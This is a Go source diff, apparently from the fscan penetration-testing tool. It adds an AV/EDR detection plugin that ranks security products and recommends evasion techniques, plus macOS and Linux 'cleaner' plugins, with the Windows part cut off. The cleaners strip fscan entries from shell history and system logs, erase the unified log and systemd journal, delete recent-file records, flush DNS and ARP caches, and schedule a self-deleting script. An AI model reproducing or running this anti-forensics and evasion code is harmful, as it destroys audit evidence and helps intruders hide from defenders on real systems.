systemInfo := p.GetSystemInfo()
// 生成检测报告
report := p.generateDetectionReport(detectionResults, systemInfo)
if len(detectionResults) == 0 {
common.LogInfo("未检测到已知的AV/EDR安全产品")
return &base.ScanResult{
Success: true,
Service: "AVDetect",
Banner: "未检测到已知的AV/EDR安全产品",
Extra: map[string]interface{}{
"detected_products": detectionResults,
"total_processes": len(processes),
"detection_report": report,
"platform": runtime.GOOS,
"database_products": len(p.avDatabase),
},
}, nil
}
// 输出检测结果
common.LogInfo(fmt.Sprintf("[+] AV/EDR检测完成: 发现 %d 个安全产品", len(detectionResults)))
for _, result := range detectionResults {
common.LogInfo(fmt.Sprintf("[+] 检测到: %s (%d个进程)", result.ProductName, len(result.DetectedProcesses)))
}
result := &base.ScanResult{
Success: true,
Service: "AVDetect",
Banner: fmt.Sprintf("检测完成: 发现 %d 个安全产品", len(detectionResults)),
Extra: map[string]interface{}{
"detected_products": detectionResults,
"total_processes": len(processes),
"detection_report": report,
"platform": runtime.GOOS,
"database_products": len(p.avDatabase),
},
}
if len(detectionResults) > 0 {
common.LogSuccess(fmt.Sprintf("AV/EDR检测完成: 发现 %d 个安全产品", len(detectionResults)))
for _, detection := range detectionResults {
common.LogSuccess(fmt.Sprintf("检测到: %s (%d个进程)", detection.ProductName, len(detection.DetectedProcesses)))
}
} else {
common.LogBase("未检测到已知的AV/EDR安全产品")
}
return result, nil
}
// loadAVDatabase 加载AV/EDR数据库
func (p *AVDetectPlugin) loadAVDatabase() error {
// 首先尝试使用嵌入的数据库
common.LogDebug("使用嵌入的AV/EDR规则数据库")
err := json.Unmarshal(embeddedAVDatabase, &p.avDatabase)
if err != nil {
return fmt.Errorf("解析嵌入的AV数据库失败: %v", err)
}
if len(p.avDatabase) == 0 {
return fmt.Errorf("嵌入的AV数据库为空或格式错误")
}
return nil
}
// detectAVEDR 检测AV/EDR产品
func (p *AVDetectPlugin) detectAVEDR(processes []ProcessInfo) []DetectionResult {
var results []DetectionResult
processMap := make(map[string][]ProcessInfo)
// 构建进程名称映射,忽略大小写
for _, process := range processes {
processName := strings.ToLower(process.Name)
processMap[processName] = append(processMap[processName], process)
}
// 遍历AV数据库进行匹配
for productName, avProduct := range p.avDatabase {
var detectedProcesses []ProcessInfo
// 检查每个已知进程
for _, targetProcess := range avProduct.Processes {
targetProcessLower := strings.ToLower(targetProcess)
// 精确匹配
if matchedProcesses, exists := processMap[targetProcessLower]; exists {
detectedProcesses = append(detectedProcesses, matchedProcesses...)
} else {
// 模糊匹配(去除扩展名)
targetWithoutExt := strings.TrimSuffix(targetProcessLower, filepath.Ext(targetProcessLower))
for processName, matchedProcesses := range processMap {
processWithoutExt := strings.TrimSuffix(processName, filepath.Ext(processName))
if processWithoutExt == targetWithoutExt {
detectedProcesses = append(detectedProcesses, matchedProcesses...)
break
}
}
}
}
// 如果检测到进程,添加到结果中
if len(detectedProcesses) > 0 {
// 去重
detectedProcesses = p.deduplicateProcesses(detectedProcesses)
result := DetectionResult{
ProductName: productName,
DetectedProcesses: detectedProcesses,
URL: avProduct.URL,
RiskLevel: p.assessRiskLevel(productName, detectedProcesses),
Category: p.categorizeProduct(productName),
}
results = append(results, result)
}
}
// 按检测到的进程数量排序
sort.Slice(results, func(i, j int) bool {
return len(results[i].DetectedProcesses) > len(results[j].DetectedProcesses)
})
return results
}
// deduplicateProcesses 去重进程列表
func (p *AVDetectPlugin) deduplicateProcesses(processes []ProcessInfo) []ProcessInfo {
seen := make(map[string]bool)
var result []ProcessInfo
for _, process := range processes {
key := fmt.Sprintf("%s-%s", process.Name, process.PID)
if !seen[key] {
seen[key] = true
result = append(result, process)
}
}
return result
}
// assessRiskLevel 评估风险等级
func (p *AVDetectPlugin) assessRiskLevel(productName string, processes []ProcessInfo) string {
// 基于产品名称和进程数量评估风险等级
productLower := strings.ToLower(productName)
// 高风险EDR产品
highRiskKeywords := []string{"crowdstrike", "sentinelone", "cybereason", "endgame",
"fireeye", "trellix", "elastic security", "深信服", "奇安信", "天擎"}
for _, keyword := range highRiskKeywords {
if strings.Contains(productLower, strings.ToLower(keyword)) {
return "HIGH"
}
}
// 中等风险企业级AV
mediumRiskKeywords := []string{"kaspersky", "symantec", "mcafee", "趋势科技",
"bitdefender", "eset", "sophos", "火绒", "360"}
for _, keyword := range mediumRiskKeywords {
if strings.Contains(productLower, strings.ToLower(keyword)) {
return "MEDIUM"
}
}
// 根据进程数量判断
if len(processes) >= 3 {
return "MEDIUM"
}
return "LOW"
}
// categorizeProduct 产品分类
func (p *AVDetectPlugin) categorizeProduct(productName string) string {
productLower := strings.ToLower(productName)
// EDR产品
edrKeywords := []string{"edr", "endpoint", "crowdstrike", "sentinelone",
"cybereason", "深信服edr", "天擎", "elastic security"}
for _, keyword := range edrKeywords {
if strings.Contains(productLower, strings.ToLower(keyword)) {
return "EDR"
}
}
// 企业级防病毒
enterpriseKeywords := []string{"enterprise", "business", "server",
"corporate", "管理版", "企业版"}
for _, keyword := range enterpriseKeywords {
if strings.Contains(productLower, strings.ToLower(keyword)) {
return "Enterprise AV"
}
}
// 云安全
cloudKeywords := []string{"cloud", "阿里云", "腾讯云", "云锁", "云安全"}
for _, keyword := range cloudKeywords {
if strings.Contains(productLower, strings.ToLower(keyword)) {
return "Cloud Security"
}
}
// 主机防护
hostKeywords := []string{"host", "hips", "主机", "防护", "卫士"}
for _, keyword := range hostKeywords {
if strings.Contains(productLower, strings.ToLower(keyword)) {
return "Host Protection"
}
}
return "Traditional AV"
}
// generateDetectionReport 生成检测报告
func (p *AVDetectPlugin) generateDetectionReport(results []DetectionResult, systemInfo map[string]string) string {
var report strings.Builder
report.WriteString("=== AV/EDR 检测报告 ===\n")
report.WriteString(fmt.Sprintf("扫描时间: %s\n", time.Now().Format("2006-01-02 15:04:05")))
report.WriteString(fmt.Sprintf("系统平台: %s/%s\n", systemInfo["os"], systemInfo["arch"]))
report.WriteString(fmt.Sprintf("检测产品: %d 个\n\n", len(results)))
if len(results) == 0 {
report.WriteString("未检测到已知的AV/EDR产品\n")
report.WriteString("注意: 可能存在未知安全软件或进程伪装\n")
return report.String()
}
// 按风险等级分组
riskGroups := map[string][]DetectionResult{
"HIGH": {},
"MEDIUM": {},
"LOW": {},
}
for _, result := range results {
riskGroups[result.RiskLevel] = append(riskGroups[result.RiskLevel], result)
}
// 高风险产品
if len(riskGroups["HIGH"]) > 0 {
report.WriteString("🔴 高风险安全产品:\n")
for _, result := range riskGroups["HIGH"] {
report.WriteString(fmt.Sprintf(" • %s [%s] - %d 个进程\n",
result.ProductName, result.Category, len(result.DetectedProcesses)))
for _, process := range result.DetectedProcesses {
report.WriteString(fmt.Sprintf(" - %s (PID: %s)\n", process.Name, process.PID))
}
}
report.WriteString("\n")
}
// 中等风险产品
if len(riskGroups["MEDIUM"]) > 0 {
report.WriteString("🟡 中等风险安全产品:\n")
for _, result := range riskGroups["MEDIUM"] {
report.WriteString(fmt.Sprintf(" • %s [%s] - %d 个进程\n",
result.ProductName, result.Category, len(result.DetectedProcesses)))
}
report.WriteString("\n")
}
// 低风险产品
if len(riskGroups["LOW"]) > 0 {
report.WriteString("🟢 低风险安全产品:\n")
for _, result := range riskGroups["LOW"] {
report.WriteString(fmt.Sprintf(" • %s [%s] - %d 个进程\n",
result.ProductName, result.Category, len(result.DetectedProcesses)))
}
report.WriteString("\n")
}
// 建议
report.WriteString("=== 渗透测试建议 ===\n")
if len(riskGroups["HIGH"]) > 0 {
report.WriteString("⚠️ 检测到高级EDR产品建议:\n")
report.WriteString(" - 使用内存加载技术\n")
report.WriteString(" - 避免落地文件\n")
report.WriteString(" - 使用白名单绕过技术\n")
report.WriteString(" - 考虑Living off the Land技术\n\n")
}
if len(results) > 1 {
report.WriteString("📊 检测到多个安全产品,环境复杂度较高\n")
}
return report.String()
}
// GetLocalData 获取AV/EDR检测本地数据
func (p *AVDetectPlugin) GetLocalData(ctx context.Context) (map[string]interface{}, error) {
data := make(map[string]interface{})
// 获取系统信息
data["plugin_type"] = "avdetect"
data["platform"] = runtime.GOOS
data["arch"] = runtime.GOARCH
data["database_size"] = len(p.avDatabase)
if homeDir, err := os.UserHomeDir(); err == nil {
data["home_dir"] = homeDir
}
if workDir, err := os.Getwd(); err == nil {
data["work_dir"] = workDir
}
return data, nil
}
// ExtractData 提取AV/EDR检测数据
func (p *AVDetectPlugin) ExtractData(ctx context.Context, info *common.HostInfo, data map[string]interface{}) (*base.ExploitResult, error) {
return &base.ExploitResult{
Success: true,
Output: "AV/EDR检测完成",
Data: data,
Extra: map[string]interface{}{
"detection_type": "automated",
"database_version": "auto.json",
},
}, nil
}
// GetInfo 获取插件信息
func (p *AVDetectPlugin) GetInfo() string {
var info strings.Builder
info.WriteString(fmt.Sprintf("AV/EDR自动检测插件 - 规则库: %d 个产品\n", len(p.avDatabase)))
info.WriteString(fmt.Sprintf("支持平台: %s\n", strings.Join(p.GetPlatformSupport(), ", ")))
info.WriteString("检测方式: tasklist/ps + JSON规则匹配\n")
info.WriteString("功能: 自动识别常见AV/EDR产品并评估风险等级\n")
return info.String()
}
// RegisterAVDetectPlugin 注册AV/EDR检测插件
func RegisterAVDetectPlugin() {
factory := base.NewSimplePluginFactory(
&base.PluginMetadata{
Name: "avdetect",
Version: "1.0.0",
Author: "fscan-team",
Description: "自动化AV/EDR检测插件基于auto.json规则库识别安全软件",
Category: "local",
Tags: []string{"avdetect", "local", "av", "edr", "security"},
Protocols: []string{"local"},
},
func() base.Plugin {
return NewAVDetectPlugin()
},
)
base.GlobalPluginRegistry.Register("avdetect", factory)
}
// init 插件注册函数
func init() {
RegisterAVDetectPlugin()
}

View File

@ -0,0 +1,404 @@
//go:build darwin
package cleaner
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
)
// cleanSystemTraces 清理macOS系统痕迹
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 1. 清理Shell历史记录
if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
cleaned = append(cleaned, shellHistory...)
report["shell_history"] = shellHistory
}
// 2. 清理系统日志
if systemLogs := p.cleanMacSystemLogs(); len(systemLogs) > 0 {
cleaned = append(cleaned, systemLogs...)
report["system_logs"] = systemLogs
}
// 3. 清理最近项目记录
if recentItems := p.cleanRecentItems(); len(recentItems) > 0 {
cleaned = append(cleaned, recentItems...)
report["recent_items"] = recentItems
}
// 4. 清理Spotlight索引
if spotlight := p.cleanSpotlightIndex(); len(spotlight) > 0 {
cleaned = append(cleaned, spotlight...)
report["spotlight_index"] = spotlight
}
// 5. 清理临时文件
if tempFiles := p.cleanMacTempFiles(); len(tempFiles) > 0 {
cleaned = append(cleaned, tempFiles...)
report["temp_files"] = tempFiles
}
// 6. 清理LaunchServices数据库
if launchServices := p.cleanLaunchServicesDB(); len(launchServices) > 0 {
cleaned = append(cleaned, launchServices...)
report["launch_services"] = launchServices
}
p.cleanupStats["system_entries"] += len(cleaned)
report["total_cleaned"] = len(cleaned)
return report
}
// cleanShellHistory 清理Shell历史记录 (与Linux类似)
func (p *CleanerPlugin) cleanShellHistory() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
if homeDir == "" {
return cleaned
}
// macOS常见的Shell历史文件
historyFiles := []string{
".bash_history",
".zsh_history",
".sh_history",
}
for _, histFile := range historyFiles {
histPath := filepath.Join(homeDir, histFile)
if _, err := os.Stat(histPath); os.IsNotExist(err) {
continue
}
content, err := os.ReadFile(histPath)
if err != nil {
common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
continue
}
lines := strings.Split(string(content), "\n")
var filteredLines []string
removedCount := 0
for _, line := range lines {
if strings.Contains(strings.ToLower(line), "fscan") {
removedCount++
continue
}
filteredLines = append(filteredLines, line)
}
if removedCount > 0 {
newContent := strings.Join(filteredLines, "\n")
if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
} else {
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
}
}
}
// 清理当前会话历史
if err := exec.Command("history", "-c").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
} else {
cleaned = append(cleaned, "Current session history")
common.LogSuccess("已清理当前会话历史记录")
}
return cleaned
}
// cleanMacSystemLogs 清理macOS系统日志
func (p *CleanerPlugin) cleanMacSystemLogs() []string {
var cleaned []string
// macOS系统日志路径
logPaths := []string{
"/var/log/system.log",
"/var/log/install.log",
"/var/log/secure.log",
}
// 用户日志目录
homeDir := os.Getenv("HOME")
if homeDir != "" {
userLogDir := filepath.Join(homeDir, "Library", "Logs")
if entries, err := os.ReadDir(userLogDir); err == nil {
for _, entry := range entries {
if strings.Contains(strings.ToLower(entry.Name()), "fscan") {
logPaths = append(logPaths, filepath.Join(userLogDir, entry.Name()))
}
}
}
}
for _, logPath := range logPaths {
if _, err := os.Stat(logPath); os.IsNotExist(err) {
continue
}
if p.filterLogFile(logPath) {
cleaned = append(cleaned, logPath)
}
}
// 使用log命令清理系统日志
if err := exec.Command("log", "erase", "--all").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理统一日志失败 (权限不足): %v", err))
} else {
cleaned = append(cleaned, "Unified Logging System")
common.LogSuccess("已清理统一日志系统")
}
return cleaned
}
// filterLogFile 过滤日志文件 (与Linux类似)
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
file, err := os.OpenFile(logPath, os.O_RDWR, 0)
if err != nil {
common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
return false
}
defer file.Close()
content, err := os.ReadFile(logPath)
if err != nil {
return false
}
lines := strings.Split(string(content), "\n")
var filteredLines []string
removedCount := 0
for _, line := range lines {
if strings.Contains(strings.ToLower(line), "fscan") {
removedCount++
continue
}
filteredLines = append(filteredLines, line)
}
if removedCount > 0 {
newContent := strings.Join(filteredLines, "\n")
if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
return false
}
common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
return true
}
return false
}
// cleanRecentItems 清理macOS最近项目记录
func (p *CleanerPlugin) cleanRecentItems() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
if homeDir == "" {
return cleaned
}
// 最近项目plist文件
recentPaths := []string{
filepath.Join(homeDir, "Library", "Preferences", "com.apple.recentitems.plist"),
filepath.Join(homeDir, "Library", "Application Support", "com.apple.sharedfilelist"),
}
for _, recentPath := range recentPaths {
if _, err := os.Stat(recentPath); os.IsNotExist(err) {
continue
}
// 对于plist文件我们采用删除整个文件的方式
if strings.HasSuffix(recentPath, ".plist") {
if err := os.Remove(recentPath); err != nil {
common.LogDebug(fmt.Sprintf("删除最近项目文件失败: %v", err))
} else {
cleaned = append(cleaned, recentPath)
common.LogSuccess(fmt.Sprintf("已删除最近项目记录: %s", filepath.Base(recentPath)))
}
}
}
return cleaned
}
// cleanSpotlightIndex 清理Spotlight索引
func (p *CleanerPlugin) cleanSpotlightIndex() []string {
var cleaned []string
// 重建当前目录的Spotlight索引
if err := exec.Command("mdutil", "-E", p.workingDirectory).Run(); err != nil {
common.LogDebug(fmt.Sprintf("重建Spotlight索引失败: %v", err))
} else {
cleaned = append(cleaned, fmt.Sprintf("Spotlight index for %s", p.workingDirectory))
common.LogSuccess("已重建Spotlight索引")
}
return cleaned
}
// cleanMacTempFiles 清理macOS临时文件
func (p *CleanerPlugin) cleanMacTempFiles() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
// macOS临时目录
tempDirs := []string{
"/tmp",
"/var/tmp",
}
if homeDir != "" {
tempDirs = append(tempDirs, []string{
filepath.Join(homeDir, "Library", "Caches"),
filepath.Join(homeDir, "Library", "Application Support"),
}...)
}
for _, tempDir := range tempDirs {
entries, err := os.ReadDir(tempDir)
if err != nil {
continue
}
for _, entry := range entries {
entryName := strings.ToLower(entry.Name())
if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "tmp") {
entryPath := filepath.Join(tempDir, entry.Name())
// 检查文件修改时间
if info, err := entry.Info(); err == nil {
if time.Since(info.ModTime()) < 5*time.Minute {
continue
}
}
if entry.IsDir() {
if err := os.RemoveAll(entryPath); err != nil {
common.LogDebug(fmt.Sprintf("删除临时目录失败: %v", err))
} else {
cleaned = append(cleaned, entryPath)
p.cleanupStats["directories"]++
}
} else {
if err := os.Remove(entryPath); err != nil {
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
} else {
cleaned = append(cleaned, entryPath)
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
}
}
}
}
}
return cleaned
}
// cleanLaunchServicesDB 清理LaunchServices数据库
func (p *CleanerPlugin) cleanLaunchServicesDB() []string {
var cleaned []string
// 重建LaunchServices数据库
if err := exec.Command("/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister", "-kill", "-r", "-domain", "local", "-domain", "system", "-domain", "user").Run(); err != nil {
common.LogDebug(fmt.Sprintf("重建LaunchServices数据库失败: %v", err))
} else {
cleaned = append(cleaned, "LaunchServices Database")
common.LogSuccess("已重建LaunchServices数据库")
}
return cleaned
}
// cleanNetworkTraces 清理网络痕迹
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 清理DNS缓存
if err := exec.Command("dscacheutil", "-flushcache").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err))
} else {
cleaned = append(cleaned, "DNS Cache (dscacheutil)")
common.LogSuccess("已清理DNS缓存")
}
// 清理mDNS缓存
if err := exec.Command("killall", "-HUP", "mDNSResponder").Run(); err != nil {
common.LogDebug(fmt.Sprintf("重启mDNSResponder失败: %v", err))
} else {
cleaned = append(cleaned, "mDNS Cache")
common.LogSuccess("已重启mDNSResponder")
}
// 清理ARP缓存
if err := exec.Command("arp", "-d", "-a").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
} else {
cleaned = append(cleaned, "ARP Cache")
common.LogSuccess("已清理ARP缓存")
}
report["network_caches"] = cleaned
report["total_cleaned"] = len(cleaned)
return report
}
// createUnixSelfDestruct 创建Unix自毁脚本 (与Linux共用)
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
report := make(map[string]interface{})
// 创建shell自毁脚本
shellScript := fmt.Sprintf(`#!/bin/bash
sleep 2
rm -f "%s" 2>/dev/null
rm -f "$0" 2>/dev/null
exit 0`, p.currentExecutable)
scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
report["status"] = "failed"
report["error"] = err.Error()
} else {
// 异步执行自毁脚本
go func() {
time.Sleep(1 * time.Second)
cmd := exec.Command("/bin/bash", scriptPath)
cmd.Start()
}()
report["status"] = "scheduled"
report["script_path"] = scriptPath
common.LogInfo("已创建自毁脚本,将在退出后执行")
}
return report
}
// prepareSelfDestruction 准备自毁
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
return p.createUnixSelfDestruct()
}

View File

@ -0,0 +1,421 @@
//go:build linux
package cleaner
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"time"
"github.com/shadow1ng/fscan/common"
)
// cleanSystemTraces 清理Linux系统痕迹
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 1. 清理Shell历史记录
if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 {
cleaned = append(cleaned, shellHistory...)
report["shell_history"] = shellHistory
}
// 2. 清理系统日志
if systemLogs := p.cleanLinuxSystemLogs(); len(systemLogs) > 0 {
cleaned = append(cleaned, systemLogs...)
report["system_logs"] = systemLogs
}
// 3. 清理临时文件
if tempFiles := p.cleanLinuxTempFiles(); len(tempFiles) > 0 {
cleaned = append(cleaned, tempFiles...)
report["temp_files"] = tempFiles
}
// 4. 清理用户缓存
if userCache := p.cleanUserCache(); len(userCache) > 0 {
cleaned = append(cleaned, userCache...)
report["user_cache"] = userCache
}
// 5. 清理最近访问记录
if recentFiles := p.cleanRecentFiles(); len(recentFiles) > 0 {
cleaned = append(cleaned, recentFiles...)
report["recent_files"] = recentFiles
}
p.cleanupStats["system_entries"] += len(cleaned)
report["total_cleaned"] = len(cleaned)
return report
}
// cleanShellHistory 清理Shell历史记录
func (p *CleanerPlugin) cleanShellHistory() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
if homeDir == "" {
return cleaned
}
// 常见的Shell历史文件
historyFiles := []string{
".bash_history",
".zsh_history",
".fish_history",
".sh_history",
}
for _, histFile := range historyFiles {
histPath := filepath.Join(homeDir, histFile)
// 检查文件是否存在
if _, err := os.Stat(histPath); os.IsNotExist(err) {
continue
}
// 读取历史文件
content, err := os.ReadFile(histPath)
if err != nil {
common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err))
continue
}
// 过滤掉包含fscan的行
lines := strings.Split(string(content), "\n")
var filteredLines []string
removedCount := 0
for _, line := range lines {
if strings.Contains(strings.ToLower(line), "fscan") {
removedCount++
continue
}
filteredLines = append(filteredLines, line)
}
if removedCount > 0 {
// 写回过滤后的内容
newContent := strings.Join(filteredLines, "\n")
if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil {
common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err))
} else {
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount))
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount))
}
}
}
// 清理当前会话的历史记录
if err := exec.Command("history", "-c").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err))
} else {
cleaned = append(cleaned, "Current session history")
common.LogSuccess("已清理当前会话历史记录")
}
return cleaned
}
// cleanLinuxSystemLogs 清理Linux系统日志
func (p *CleanerPlugin) cleanLinuxSystemLogs() []string {
var cleaned []string
// 系统日志路径
logPaths := []string{
"/var/log/auth.log",
"/var/log/syslog",
"/var/log/messages",
"/var/log/secure",
"/var/log/user.log",
}
for _, logPath := range logPaths {
if _, err := os.Stat(logPath); os.IsNotExist(err) {
continue
}
// 尝试清理日志中的相关条目
if p.filterLogFile(logPath) {
cleaned = append(cleaned, logPath)
}
}
// 清理journal日志如果有权限
if err := exec.Command("journalctl", "--vacuum-time=1s").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理journal日志失败 (权限不足): %v", err))
} else {
cleaned = append(cleaned, "systemd journal")
common.LogSuccess("已清理systemd journal日志")
}
return cleaned
}
// filterLogFile 过滤日志文件
func (p *CleanerPlugin) filterLogFile(logPath string) bool {
// 检查读写权限
file, err := os.OpenFile(logPath, os.O_RDWR, 0)
if err != nil {
common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err))
return false
}
defer file.Close()
// 读取文件内容
content, err := os.ReadFile(logPath)
if err != nil {
return false
}
// 过滤包含fscan的行
lines := strings.Split(string(content), "\n")
var filteredLines []string
removedCount := 0
for _, line := range lines {
if strings.Contains(strings.ToLower(line), "fscan") {
removedCount++
continue
}
filteredLines = append(filteredLines, line)
}
if removedCount > 0 {
// 写回过滤后的内容
newContent := strings.Join(filteredLines, "\n")
if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil {
common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err))
return false
}
common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount))
return true
}
return false
}
// cleanLinuxTempFiles 清理Linux临时文件
func (p *CleanerPlugin) cleanLinuxTempFiles() []string {
var cleaned []string
// 临时目录
tempDirs := []string{
"/tmp",
"/var/tmp",
"/dev/shm",
}
// 用户临时目录
if homeDir := os.Getenv("HOME"); homeDir != "" {
tempDirs = append(tempDirs, filepath.Join(homeDir, ".tmp"))
}
for _, tempDir := range tempDirs {
entries, err := os.ReadDir(tempDir)
if err != nil {
continue
}
for _, entry := range entries {
if entry.IsDir() {
continue
}
filename := strings.ToLower(entry.Name())
if strings.Contains(filename, "fscan") || strings.HasPrefix(filename, "tmp") {
tempFile := filepath.Join(tempDir, entry.Name())
// 检查文件是否太新(可能正在使用)
if info, err := entry.Info(); err == nil {
if time.Since(info.ModTime()) < 5*time.Minute {
continue
}
}
if err := os.Remove(tempFile); err != nil {
common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err))
} else {
cleaned = append(cleaned, tempFile)
common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name()))
}
}
}
}
return cleaned
}
// cleanUserCache 清理用户缓存
func (p *CleanerPlugin) cleanUserCache() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
if homeDir == "" {
return cleaned
}
// 缓存目录
cacheDirs := []string{
filepath.Join(homeDir, ".cache"),
filepath.Join(homeDir, ".local", "share"),
}
for _, cacheDir := range cacheDirs {
entries, err := os.ReadDir(cacheDir)
if err != nil {
continue
}
for _, entry := range entries {
entryPath := filepath.Join(cacheDir, entry.Name())
entryName := strings.ToLower(entry.Name())
if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "scan") {
if entry.IsDir() {
if err := os.RemoveAll(entryPath); err != nil {
common.LogDebug(fmt.Sprintf("删除缓存目录失败: %v", err))
} else {
cleaned = append(cleaned, entryPath)
p.cleanupStats["directories"]++
}
} else {
if err := os.Remove(entryPath); err != nil {
common.LogDebug(fmt.Sprintf("删除缓存文件失败: %v", err))
} else {
cleaned = append(cleaned, entryPath)
}
}
}
}
}
return cleaned
}
// cleanRecentFiles 清理最近访问文件记录
func (p *CleanerPlugin) cleanRecentFiles() []string {
var cleaned []string
homeDir := os.Getenv("HOME")
if homeDir == "" {
return cleaned
}
// 最近文件记录路径
recentPaths := []string{
filepath.Join(homeDir, ".local", "share", "recently-used.xbel"),
filepath.Join(homeDir, ".recently-used"),
filepath.Join(homeDir, ".gtk-bookmarks"),
}
for _, recentPath := range recentPaths {
if _, err := os.Stat(recentPath); os.IsNotExist(err) {
continue
}
// 读取并过滤文件内容
content, err := os.ReadFile(recentPath)
if err != nil {
continue
}
lines := strings.Split(string(content), "\n")
var filteredLines []string
removedCount := 0
for _, line := range lines {
if strings.Contains(strings.ToLower(line), "fscan") {
removedCount++
continue
}
filteredLines = append(filteredLines, line)
}
if removedCount > 0 {
newContent := strings.Join(filteredLines, "\n")
if err := os.WriteFile(recentPath, []byte(newContent), 0644); err != nil {
common.LogError(fmt.Sprintf("更新最近文件记录失败: %v", err))
} else {
cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", recentPath, removedCount))
common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", filepath.Base(recentPath), removedCount))
}
}
}
return cleaned
}
// cleanNetworkTraces 清理网络痕迹
func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 清理DNS缓存 (systemd-resolved)
if err := exec.Command("systemctl", "flush-dns").Run(); err != nil {
// 尝试其他DNS清理方法
if err2 := exec.Command("systemd-resolve", "--flush-caches").Run(); err2 != nil {
common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v, %v", err, err2))
} else {
cleaned = append(cleaned, "DNS Cache (systemd-resolve)")
}
} else {
cleaned = append(cleaned, "DNS Cache (systemctl)")
}
// 清理ARP缓存
if err := exec.Command("ip", "neigh", "flush", "all").Run(); err != nil {
common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err))
} else {
cleaned = append(cleaned, "ARP Cache")
common.LogSuccess("已清理ARP缓存")
}
report["network_caches"] = cleaned
report["total_cleaned"] = len(cleaned)
return report
}
// createUnixSelfDestruct 创建Unix自毁脚本
func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} {
report := make(map[string]interface{})
// 创建shell自毁脚本
shellScript := fmt.Sprintf(`#!/bin/bash
sleep 2
rm -f "%s" 2>/dev/null
rm -f "$0" 2>/dev/null
exit 0`, p.currentExecutable)
scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh")
if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil {
common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err))
report["status"] = "failed"
report["error"] = err.Error()
} else {
// 异步执行自毁脚本
go func() {
time.Sleep(1 * time.Second)
cmd := exec.Command("/bin/sh", scriptPath)
cmd.Start()
}()
report["status"] = "scheduled"
report["script_path"] = scriptPath
common.LogInfo("已创建自毁脚本,将在退出后执行")
}
return report
}
// prepareSelfDestruction 准备自毁
func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} {
return p.createUnixSelfDestruct()
}

View File

@ -0,0 +1,359 @@
//go:build windows
package cleaner
import (
"fmt"
"os"
"os/exec"
"path/filepath"
"strings"
"syscall"
"time"
"github.com/shadow1ng/fscan/common"
)
// cleanSystemTraces 清理Windows系统痕迹
func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} {
report := make(map[string]interface{})
var cleaned []string
// 1. 清理Windows事件日志
if eventLogs := p.cleanWindowsEventLogs(); len(eventLogs) > 0 {
cleaned = append(cleaned, eventLogs...)
report["event_logs"] = eventLogs
}
// 2. 清理预取文件
if prefetchFiles := p.cleanPrefetchFiles(); len(prefetchFiles) > 0 {
cleaned = append(cleaned, prefetchFiles...)
report["prefetch_files"] = prefetchFiles
}
